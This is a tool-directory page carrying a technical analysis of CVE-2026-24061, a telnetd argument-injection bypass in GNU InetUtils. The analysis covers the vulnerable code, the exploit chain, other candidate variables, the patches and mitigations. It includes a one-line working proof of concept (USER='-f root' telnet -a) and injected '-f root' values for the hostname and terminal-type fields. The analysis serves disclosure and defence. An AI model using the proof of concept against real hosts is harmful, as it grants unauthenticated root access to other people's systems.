Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-24061 — Deep technical analysis and scanner for CVE-2026-24061, a critical authentication bypass in GNU InetUtils telnetd, including exploit chain, PoC, and patch details. | Kitploit
Tools/GitHubGitHub/buzz075/cve-2026-24061
Vulnerability AnalysisExploitationNetwork SecurityPenetration TestingAuthentication
GitHubbuzz075/cve-2026-24061

CVE-2026-24061

Deep technical analysis and scanner for CVE-2026-24061, a critical authentication bypass in GNU InetUtils telnetd, including exploit chain, PoC, and patch details.

View Repository
6 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-24061: GNU InetUtils telnetd Authentication Bypass - Deep Dive Analysis

Executive Summary

CVE-2026-24061 is a critical (CVSS 9.8) remote authentication bypass vulnerability in GNU InetUtils telnetd that allows unauthenticated attackers to gain instant root access. The vulnerability stems from improper sanitization of the USER environment variable, which is passed directly to /usr/bin/login as a command-line argument. By setting USER=-f root, an attacker triggers login's -f flag, which bypasses authentication entirely.

Affected Versions: GNU InetUtils 1.9.3 through 2.7 Vulnerability Type: CWE-88 (Argument Injection) Discovery Date: January 20, 2026 Discoverer: Kyu Neushwaistein (aka Carlos Cortes Alvarez)


Part 1: Detailed Technical Analysis

The Vulnerable Code Flow

1. Login Invocation Template (telnetd/telnetd.c, lines ~49-63)

The vulnerability begins with a command template string that defines how telnetd invokes /usr/bin/login:

root@kitploit:~
/* Template command line for invoking login program. */
char *login_invocation =
#ifdef SOLARIS10
  PATH_LOGIN " -p -h %h %?T{-t %T} -d %L %?u{-u %u}{%U}"
#elif defined SOLARIS
  PATH_LOGIN " -h %h %?T{%T} %?u{-- %u}{%U}"
#else /* !SOLARIS */
  PATH_LOGIN " -p -h %h %?u{-f %u}{%U}"
#endif
;

Key Observation: On non-Solaris systems, the template uses:

  • %?u{-f %u}{%U} - This is a conditional expression meaning:
    • If user_name is set (%u), use -f %u (authenticated autologin)
    • Otherwise, use %U (the USER environment variable as fallback)

The critical problem: %U expands to the raw, unsanitized USER environment variable.

2. Variable Expansion Function (telnetd/utility.c, _var_short_name())

The template string gets processed by expand_line(), which calls _var_short_name() to expand placeholders. Here's the vulnerable code:

root@kitploit:~
/* Expand a variable referenced by its short one-symbol name. */
char *
_var_short_name (struct line_expander *exp)
{
  char *q;
  char timebuf[64];
  time_t t;

  switch (*exp->cp++)
    {
    case 'a':
#ifdef AUTHENTICATION
      if (auth_level >= 0 && autologin == AUTH_VALID)
        return xstrdup ("ok");
#endif
      return NULL;

    case 'd':
      time (&t);
      strftime (timebuf, sizeof (timebuf),
                "%l:%M%p on %A, %d %B %Y", localtime (&t));
      return xstrdup (timebuf);

    case 'h':
      return xstrdup (remote_hostname);  // POTENTIALLY VULNERABLE

    case 'l':
      return xstrdup (local_hostname);

    case 'L':
      return xstrdup (line);

    case 't':
      q = strchr (line + 1, '/');
      if (q)
        q++;
      else
        q = line;
      return xstrdup (q);

    case 'T':
      return terminaltype ? xstrdup (terminaltype) : NULL;  // POTENTIALLY VULNERABLE

    case 'u':
      return user_name ? xstrdup (user_name) : NULL;

    case 'U':
      return getenv ("USER") ? xstrdup (getenv ("USER")) : xstrdup ("");  // VULNERABLE!

    default:
      exp->state = EXP_STATE_ERROR;
      return NULL;
    }
}

The Critical Bug (case 'U'): The USER environment variable is fetched via getenv() and passed through without any sanitization. When an attacker sets USER=-f root, this becomes part of the login command line.

3. Start Login Function (telnetd/pty.c, start_login())

The expanded login invocation string is executed in start_login():

root@kitploit:~
/* Construct login command from template */
argcv_string (argcv_length (argv, NULL), argv, &login_cmd);
  
/* Execute login - this runs: /usr/bin/login -p -h <hostname> -f root */
execv (argv[0], argv);

The Exploit Chain

  1. Attacker connects to telnetd (port 23)

  2. Telnet option negotiation occurs:

    • Server sends IAC DO NEW_ENVIRON
    • Client responds with IAC WILL NEW_ENVIRON
    • Server sends IAC SB NEW_ENVIRON SEND (requesting environment)
    • Attacker sends: IAC SB NEW_ENVIRON IS VAR "USER" VALUE "-f root" IAC SE
  3. Server processes the USER variable:

    • getenv("USER") returns -f root
    • Template %U expands to -f root
    • Final command: /usr/bin/login -p -h <hostname> -f root
  4. Login interprets -f root:

    • The -f flag means "skip authentication, user is pre-authenticated"
    • root is the username to log in as
    • Result: Instant root shell without any password prompt!

Proof of Concept

root@kitploit:~
# On attacker machine:
USER='-f root' telnet -a <target_ip>

The -a flag enables automatic login mode, which sends the USER environment variable to the server.


Part 2: Analysis of Other Potentially Vulnerable Variables

The security advisory explicitly notes: "Thus there is potential for similar vulnerabilities for other variables." Let's analyze each variable in _var_short_name():

Variable Analysis Table

VarNameSourceUser Controllable?Sanitized?Attack Surface
%UUSER env vargetenv("USER")YES (via NEW_ENVIRON)NOCRITICAL - CVE-2026-24061
%hremote_hostnameDNS/PTR lookupPartial (PTR record)NOHIGH
%TterminaltypeTERMINAL-TYPE optionYESNOMEDIUM
%uuser_nameProtocol negotiationYESNOMEDIUM (requires auth)
%llocal_hostnameSystem configNON/ALOW
%Lline (TTY)System allocatedNON/ALOW
%ttty shortnameSystem allocatedNON/ALOW
%ddate/timeSystem clockNON/ANONE
%aauth statusInternal stateNON/ANONE

Detailed Analysis of Potentially Vulnerable Variables

1. %h - Remote Hostname (HIGH RISK)

Source: Populated in telnetd_setup() from telnetd.c via getnameinfo() or gethostbyaddr().

The Problem: If an attacker controls their PTR (reverse DNS) record, they could potentially inject:

root@kitploit:~
foo -f root

As their hostname, which would become part of the -h argument:

root@kitploit:~
/usr/bin/login -p -h "foo -f root" ...

Exploitation Difficulty:

  • Requires control of reverse DNS
  • Some login implementations may quote or validate the hostname
  • More complex than USER injection

Real-world Scenario: An attacker with control of their IP's PTR record (common for VPS providers) could set their reverse DNS to a malicious value.

2. %T - Terminal Type (MEDIUM RISK)

Source: Received via Telnet TERMINAL-TYPE subnegotiation, stored in terminaltype variable.

The Problem: The terminal type string is attacker-controlled and unsanitized:

root@kitploit:~
case 'T':
  return terminaltype ? xstrdup (terminaltype) : NULL;

Usage in Templates:

  • SOLARIS10: %?T{-t %T} - Used with -t flag
  • SOLARIS: %?T{%T} - Directly inserted

Potential Attack:

root@kitploit:~
TERMINAL-TYPE: xterm -f root

However, exploitation depends on:

  • The template using %T (currently only Solaris)
  • How login handles the -t argument

3. %u - Authenticated Username (MEDIUM RISK)

Source: Set during authentication negotiation.

The Problem: Used in -f %u pattern:

root@kitploit:~
PATH_LOGIN " -p -h %h %?u{-f %u}{%U}"

If an attacker could manipulate user_name to include shell metacharacters or additional arguments, they might achieve escalation. However, this variable is typically only set after some form of authentication validation.

Why Other Variables Are Lower Risk

  • %l, %L, %t: These are derived from system-controlled values (local hostname, TTY device names) that attackers cannot influence remotely.

  • %d: Generated from the system clock - no injection vector.

  • %a: Internal authentication state variable - returns literal "ok" or NULL.


Part 3: Similar Bug Patterns to Look For

Based on this vulnerability, here are patterns to search for in the codebase:

Pattern 1: Unsanitized Environment Variable Usage

root@kitploit:~
// DANGEROUS: Direct use of environment variables
getenv("VARIABLE")

Files to check:

  • telnetd/utility.c - Other expansion functions
  • telnetd/telnetd.c - Environment handling
  • rlogind/, rshd/ - Similar services

Pattern 2: Template Expansion Without Validation

root@kitploit:~
// DANGEROUS: User data in command templates
sprintf(cmd, "command %s", user_controlled_var);
system(cmd);
execv(argv[0], argv);

Pattern 3: DNS-Derived Data in Commands

root@kitploit:~
// POTENTIALLY DANGEROUS: DNS data can be attacker-controlled
getnameinfo(...);  // PTR lookups
gethostbyaddr(...);
// Then using result in command construction

Areas Requiring Further Investigation

  1. ftpd daemon: Check how user input is handled in authentication and command processing

  2. rshd/rlogind daemons: These use similar authentication patterns and may have comparable issues with hostname or environment handling

  3. inetd configuration parsing: May process untrusted input when setting up services

  4. Kerberos integration points: When processing principal names or authentication tokens


Part 4: The Fix

Patch 1: Sanitize Leading Dashes (fd702c02)

The first patch adds basic sanitization:

root@kitploit:~
case 'U':
  {
    char *u = getenv("USER");
    return (u && *u != '-') ? xstrdup(u) : xstrdup("");
  }

This blocks values starting with - which prevents flag injection.

Patch 2: Generalized Sanitization Function (ccba9f74)

The second patch introduces a reusable sanitize() function for all user-controlled inputs:

root@kitploit:~
/* Sanitize user-supplied string to prevent argument injection */
static char *
sanitize (const char *str)
{
  if (str == NULL || *str == '-')
    return xstrdup ("");
  return xstrdup (str);
}

Applied to all potentially dangerous variables:

  • %U (USER)
  • %h (remote_hostname)
  • %T (terminaltype)

Conclusions

  1. CVE-2026-24061 is a textbook argument injection vulnerability that went undetected for 11 years due to:

    • Legacy protocol assumptions
    • Complex code flow (template → expansion → execution)
    • Insufficient security review of "trusted" environment variables
  2. Similar vulnerabilities may exist in the %h (hostname) and %T (terminal type) variables, though exploitation is more complex.

  3. Broader implications: Any code that constructs shell commands or program arguments from network-derived data should be audited for similar injection vulnerabilities.

  4. Recommended mitigations:

    • Upgrade to GNU InetUtils 2.8+
    • Disable telnetd entirely (use SSH)
    • If telnetd is required, restrict to trusted networks
    • Use a custom login program that ignores the -f flag
Download Tool